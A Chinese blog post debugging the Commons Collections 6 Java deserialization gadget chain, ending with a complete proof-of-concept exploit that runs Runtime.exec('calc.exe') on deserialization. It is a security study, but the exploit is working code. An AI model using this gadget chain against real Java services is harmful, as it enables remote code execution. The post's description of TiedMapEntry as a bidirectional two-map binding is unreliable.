Java反序列化:CommonsCollections6调试分析

JDK8u71大版本中AnnotationInvocationHandler.readObject被修改了,为了使得CC1能够利用,又造了一条CC6

CC6解决的是CC1在高版本 jdk 上无法利用的问题

这里搬一下web佬Boogipop的整理图:

image.png

环境搭建

  • JDK测试版本:JDK 11

基础知识

1. CC1和CC6的恶意代码执行触发链

再来捋顺一下这条恶意代码触发链

LazyMap的get:

image-20230903095547849

Gadget Chain:

                   org.apache.commons.collections.map.LazyMap.get()
                        org.apache.commons.collections.functors.ChainedTransformer.transform()
                        org.apache.commons.collections.functors.InvokerTransformer.transform()
                        java.lang.reflect.Method.invoke()
                            java.lang.Runtime.exec()

在函数调用栈中可以查看,最终均由LazyMap.get()调用了transform,然后transform反射完成代码执行

而不同之处在于怎么触发LazyMap()方法

2. LazyMap

看下LazyMap的定义,

LazyMap本身不定义映射实体(即它没有涉及到谁映射谁),它继承了AbstractMapDecorator相关方法来完成put

其主要功能是定义了这种懒加载特性

public class LazyMap extends AbstractMapDecorator implements Map, Serializable {
    private static final long serialVersionUID = 7990956402564206740L;
    protected final Transformer factory;

    public static Map decorate(Map map, Factory factory) {		// 本质上就是创建新的LazyMap对象
        return new LazyMap(map, factory);
    }

    public static Map decorate(Map map, Transformer factory) {		
        return new LazyMap(map, factory);
    }

    protected LazyMap(Map map, Factory factory) {				// LazyMap本身不定义映射实体,所以需要放置一个Map对象
        
        super(map);									// 放入父类属性
        if (factory == null) {
            throw new IllegalArgumentException("Factory must not be null");
        } else {
            this.factory = FactoryTransformer.getInstance(factory);
        }
    }

    protected LazyMap(Map map, Transformer factory) {			
        super(map);
        if (factory == null) {
            throw new IllegalArgumentException("Factory must not be null");
        } else {
            this.factory = factory;
        }
    }

    private void writeObject(ObjectOutputStream out) throws IOException {  // 序列化时用
        out.defaultWriteObject();
        out.writeObject(super.map);
    }

    private void readObject(ObjectInputStream in) throws IOException, ClassNotFoundException {		// 反序列化时用
        in.defaultReadObject();
        super.map = (Map)in.readObject();
    }
t
    public Object get(Object key) {					// 懒加载获取值
        if (!super.map.containsKey(key)) {
            Object value = this.factory.transform(key);			// 获取值
            super.map.put(key, value);							// 调用父类映射键值对
            return value;
        } else {
            return super.map.get(key);
        }
    }
}

3. TiedMapEntry

TiedMapEntry是 Apache Commons Collections 中的一个类,它是一种特定的数据结构,用于将两个 Map 对象绑定在一起,以实现双向映射(Bidirectional Map)。Apache Commons Collections 是一个 Java 库,提供了许多实用的集合类和数据结构,以扩展和增强 Java 标准库中的集合功能。

TiedMapEntry 实际上是一个包装类,用于将两个 Map 对象连接在一起,使得一个 Map 中的键可以映射到另一个 Map 中的相应值,反之亦然。这种双向映射可以方便地实现一对一或多对一的关系。

public class TiedMapEntry implements Map.Entry, KeyValue, Serializable {
    private static final long serialVersionUID = -8453869361373831205L;
    private final Map map;
    private final Object key;

    public TiedMapEntry(Map map, Object key) {
        this.map = map;
        this.key = key;
    }

    public Object getKey() {
        return this.key;
    }

    public Object getValue() {
        return this.map.get(this.key);					// 我们只需要将this.map声明为LazyMap对象,触发getValue方法即可恶意代码执行
    }

    public Object setValue(Object value) {
        if (value == this) {
            throw new IllegalArgumentException("Cannot set value to this map entry");
        } else {
            return this.map.put(this.key, value);
        }
    }

    public boolean equals(Object obj) {
        if (obj == this) {
            return true;
        } else if (!(obj instanceof Map.Entry)) {
            return false;
        } else {
            Map.Entry other = (Map.Entry)obj;
            Object value = this.getValue();
            return (this.key == null ? other.getKey() == null : this.key.equals(other.getKey())) && (value == null ? other.getValue() == null : value.equals(other.getValue()));
        }
    }

    public int hashCode() {					
        Object value = this.getValue();
        return (this.getKey() == null ? 0 : this.getKey().hashCode()) ^ (value == null ? 0 : value.hashCode());
    }

    public String toString() {
        return this.getKey() + "=" + this.getValue();
    }
}

调试分析

1. Gadget Chain

/*
	Gadget chain:
	    java.io.ObjectInputStream.readObject()
            java.util.HashSet.readObject()
                java.util.HashMap.put()
                java.util.HashMap.hash()
                    org.apache.commons.collections.keyvalue.TiedMapEntry.hashCode()
                    org.apache.commons.collections.keyvalue.TiedMapEntry.getValue()
                        org.apache.commons.collections.map.LazyMap.get()
                            org.apache.commons.collections.functors.ChainedTransformer.transform()
                            org.apache.commons.collections.functors.InvokerTransformer.transform()
                            java.lang.reflect.Method.invoke()
                                java.lang.Runtime.exec()
*/

2. 调试过程

  • 老惯例,先查看函数调用栈

image-20230903100547893

反序列化开始时,调用了ObjectInputStream的readObject方法,经过一系列的反射调用。

最终实例化调用HaspMap的readObject函数(反序列化所要操作的对象)

  • 在HashMap的readObject函数中调用了Hash函数

image-20230903101406092

由此进入了CommonsCollections相关类

核心调用

HashMap.hash -> TiedMapEntry.hashCode -> TiedMapEntry.getValue -> LazyMap.get
  • 调用HashMap的hash方法,然后进一步调用了TiedMapEntry的hashCode方法

    image-20230903112025218

  • TiedMapEntry的hashCode方法中调用了TiedMapEntry的getValue函数

image-20230903112117105

  • 最终实现调用了LazyMap的get函数

image-20230903112135006

  • 后续部分就是ChainedTransformer.transform()函数的反射调用了

EXP

关于Serialization和DeSerialization可以参考ysoserial的相关定义

一种EXP:

package CC6;

import utils.DeSerialization;
import utils.Reflection;
import utils.Serialization;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import java.util.HashMap;
import java.util.Map;

public class CC6EXP {
    public static void main(String[] args) throws Exception{

        // Transformer数组
        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getDeclaredMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc.exe"}),
                new ConstantTransformer(1)
        };

        // 生成链
        ChainedTransformer transformerChain = new ChainedTransformer(new Transformer[]{new ConstantTransformer(1)});


        // CC6相关函数进行链接
        Map innerMap = new HashMap();
        Map outerMap = LazyMap.decorate(innerMap, transformerChain);// 在decorate中最终调用getInstance实例,然后封装好

        TiedMapEntry tme = new TiedMapEntry(outerMap, "key"); 

        
        // HashMap思路
        Map expMap = new HashMap();
        
        expMap.put(tme, "value");
        innerMap.remove("key"); 
        // 因为 HashMap put 时也会调用 key.hashCode()
        // 所以需要将原来的 key 删除
        // 否则无法进行LazyMap进入innerMap
     
       	
        Reflection.setFieldValue(transformerChain, "iTransformers", transformers);
        
        // 序列化
        byte[] ObjectBytes = Serialization.serialize(expMap);
		// 反序列化
        DeSerialization.deserialize(ObjectBytes);

    }
}

EXP的大致关系图如下

image-20230903155212948

remove原因

调用栈如下:

expMap在进行put的时候,以TiedMapEntry对象为key的时候会调用到hash方法,hash方法中又调用hashCode方法

image-20230903155503487

最终会进行innerMap的这一层的懒加载

如果没有remove,则无法进入innerMap的LazyMap的transform调用

image-20230903152419349

posted @ 2023-09-03 16:02  Icfh  阅读(45)  评论(0编辑  收藏  举报